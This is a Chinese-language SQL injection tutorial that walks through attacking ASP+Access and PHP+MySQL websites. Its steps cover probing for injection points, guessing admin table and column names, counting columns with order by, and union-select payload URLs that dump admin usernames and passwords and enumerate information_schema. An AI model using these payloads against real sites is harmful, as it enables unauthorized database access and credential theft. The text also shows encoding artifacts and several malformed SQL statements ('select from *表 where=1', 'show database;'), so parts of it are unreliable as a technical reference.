SQL注入核心思想:在正常需要調(diào)用數(shù)據(jù)庫數(shù)據(jù)的URL后面構(gòu)造一段數(shù)據(jù)庫查詢代碼,然后根據(jù)返回的結(jié)果,獲得某些想要的數(shù)據(jù)。
(1)MySQL基本操作:
select version(); 查看數(shù)據(jù)庫版本
select user(); 查看數(shù)據(jù)庫當(dāng)前用戶
select database(): 查看當(dāng)前數(shù)據(jù)庫
show database; 查看MySQL中包含哪些數(shù)據(jù)庫
show tables; 查看數(shù)據(jù)庫中的表名
(2)select 查詢:
select *from 表;? ---顯示表中的所有記錄
select *from 表 where id=1; ---顯示表中id為1的記錄? where后面為查詢條件
select 字段1,字段2 from 表 where id=1; ---只顯示表中id=1的字段1,字段2
select from *表 where=1 and name="admin" ---顯示表中同時滿足id=1 name="admin"的記錄
select from *表 where=1 or name="admin"? ---顯示表中滿足id=1 或者 name="admin"的記錄
select from *表 order by id; 按照表中id字段來排序
(3)union select 聯(lián)合查詢:
使用union可以進(jìn)行聯(lián)合查詢,一次性執(zhí)行兩個或者多個查詢,并將查詢結(jié)果一并顯示
注意點:聯(lián)合查詢中列數(shù)必須相同
假設(shè):表1有2個字段,表2有3個字段
select *from 表1 union select *from 表2 ---報錯,字段不匹配
select *from 表1 union select name,age from 表2 ---正常查詢
select *from 表2 union select 1,id,name from 表1 ---正常查詢
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ASP+ACCESS注入
注意:asp+access注入中,表名,字段名,有多少字段全都要靠猜的= =。。? 簡而言之。就是要靠經(jīng)驗猜!也可以借助一些工具里的字典
步驟1:判斷注入點 在疑似有注入點的頁面后面加入 and 1=1 和 and 1=2 如果and1=1為正常顯示,and 1=2 顯示異常 則有SQL注入
步驟2:猜解表名 使用exists()函數(shù)?
EXISTS(包括 NOT EXISTS )子句的返回值是一個BOOL值。 EXISTS內(nèi)部有一個子查詢語句(SELECT ... FROM...), 我將其稱為EXIST的內(nèi)查詢語句。其內(nèi)查詢語句返回一個結(jié)果集。 EXISTS子句根據(jù)其內(nèi)查詢語句的結(jié)果集空或者非空,返回一個布爾值。
一種通俗的可以理解為:將外查詢表的每一行,代入內(nèi)查詢作為檢驗,如果內(nèi)查詢返回的結(jié)果取非空值,則EXISTS子句返回TRUE,這一行行可作為外查詢的結(jié)果行,否則不能作為結(jié)果。
http://www.xxx.com/table.asp?id=16 and exists(select *from admin)
常見表名如:admin user adminuser manage mannager?
步驟3:猜解字段名 同步驟2
http://www.xxx.com/table.asp?id=16 and exists(select name from admin)
常見字段名:
賬號:name? username?user_name?admin? adminuser?admin_user?admin_username?adminname?
密碼:password? pass? userpass?user_pass ??pwd?userpwd?adminpwd?admin_pwd
步驟4:猜解字段數(shù)量
http://www.xxx.com/table.asp?id=16 order by 20
order by 在SQL注入中不僅僅是作為排序更大的作用是猜解字段的數(shù)量,如果order 20顯示正常即說明表中的字段大于等于20
建議二分猜解,比如20顯示異常 就猜10 如果10顯示正常則說明表中字段在10-20之間依次猜解
步驟5:爆出字段內(nèi)容
http://www.xxx.com/table.asp?id=16 union select 1,username,password,4,5,6,7,8,9,10 from admin
在步驟4中我們猜解出字段數(shù)量后,會爆出內(nèi)容顯示的位置(這里是2,3)在2,3位置用字段名代替會爆出內(nèi)容,到這里我們的一次asp+access注入就完成了
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?PHP+MySQL注入
與asp+access不同的是:在5.0以后的MySQL中存在一個元數(shù)據(jù)庫information_schem,其中存儲著用戶在MySQL中創(chuàng)建的所有其它數(shù)據(jù)庫的信息。在對PHP+MySQL類網(wǎng)站進(jìn)行注入時,主要就是針對information_schema數(shù)據(jù)庫進(jìn)行操作。
information_schema中比較重要的數(shù)據(jù)表:
schemata:用于存放所有數(shù)據(jù)庫的名字
tables:用于存放所有數(shù)據(jù)庫中的數(shù)據(jù)表的名字
columns:用于存放所有數(shù)據(jù)庫的所有數(shù)據(jù)表中的所有字段的名字
步驟1:同上用and 1=1 或者 and 1=2 判斷注入點,基本上sql注入第一步都是尋找注入點
步驟2:用order by判斷字段的數(shù)量
http://www.xxx.com/tables.php?id=142 order by 10
步驟3:聯(lián)合查詢
http://www.xxx.com/tables.php?id=12 union select 1,2,3,4,5
不同于access注入的是不用在查詢語句中指定數(shù)據(jù)表名
如果頁面有顯示正常數(shù)據(jù)的地方占據(jù)了我們爆敏感數(shù)據(jù)的位置可以這樣修改
http://www.xxx.com/tables.php?id=12 and 1=2 union select 1,2,3,4,5
這樣我們就可以看到可顯字段
步驟4:爆出用MySQL函數(shù)爆出敏感信息
http://www.xxx.com/tables.php?id=12? and 1=2 union select 1,user(),database(),4,5
這樣我們就爆出了用戶名跟數(shù)據(jù)庫名,接下來去元數(shù)據(jù)庫information_schema里去查找了
http://www.xxx.com/tables.php?id=12? and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="databasename"
table_name會爆出表名繼續(xù)爆出字段名
http://www.xxx.com/tables.php?id=12? and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_name="tablename"
最后爆出用戶名跟密碼就哦了~
http://www.xxx.com/tables.php?id=12? and 1=2 union select 1,username,password,4,5 from tablename
ok~這就是php+mysql的注入